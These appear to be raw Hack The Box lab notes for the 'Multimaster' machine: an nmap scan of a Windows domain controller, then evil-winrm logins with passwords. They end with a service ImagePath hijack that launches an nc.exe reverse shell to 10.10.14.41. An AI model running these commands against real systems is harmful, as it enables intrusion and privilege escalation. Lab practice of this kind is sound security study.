Not shown: 987 filtered ports

PORT STATE SERVICE VERSION

53/tcp open domain?

| fingerprint-strings:

| DNSVersionBindReqTCP:

| version

|_ bind

80/tcp open http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_http-title: 403 - Forbidden: Access is denied.

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-13 12:50:08Z)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)

445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)

3269/tcp open tcpwrapped

3389/tcp open ms-wbt-server Microsoft Terminal Services

| rdp-ntlm-info:

| Target_Name: MEGACORP

| NetBIOS_Domain_Name: MEGACORP

| NetBIOS_Computer_Name: MULTIMASTER

| DNS_Domain_Name: MEGACORP.LOCAL

| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL

| DNS_Tree_Name: MEGACORP.LOCAL

| Product_Version: 10.0.14393

|_ System_Time: 2020-04-13T12:52:45+00:00

| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL

| Not valid before: 2020-03-08T09:52:26

|_Not valid after: 2020-09-07T09:52:26

|_ssl-date: 2020-04-13T12:53:24+00:00; +7m07s from scanner time.

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port53-TCP:V=7.80%I=7%D=4/13%Time=5E945E59%P=x86_64-pc-linux-gnu%r(DNSV

SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\

SF:x04bind\0\0\x10\0\x03");

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS fingerprint not ideal because: Missing a closed TCP port so results incomplete

No OS matches for host

Network Distance: 2 hops

Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

root@akg:/home/akg/Desktop/hackthebox/multimaster# evil-winrm -i multimaster.htb -u tushikikatomo -p "finance1"

root@akg:/home/akg/Desktop/hackthebox/multimaster# evil-winrm -i multimaster.htb -u jorden -p "rainforest786"

Evil-WinRM PS C:\Windows\Temp> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe 10.10.14.41 4321 -e cmd" /f

root@akg:/home/akg/Desktop/hackthebox/multimaster# nc -nlvp 4321

Evil-WinRM PS C:\Windows\Temp> sc.exe start SensorDataService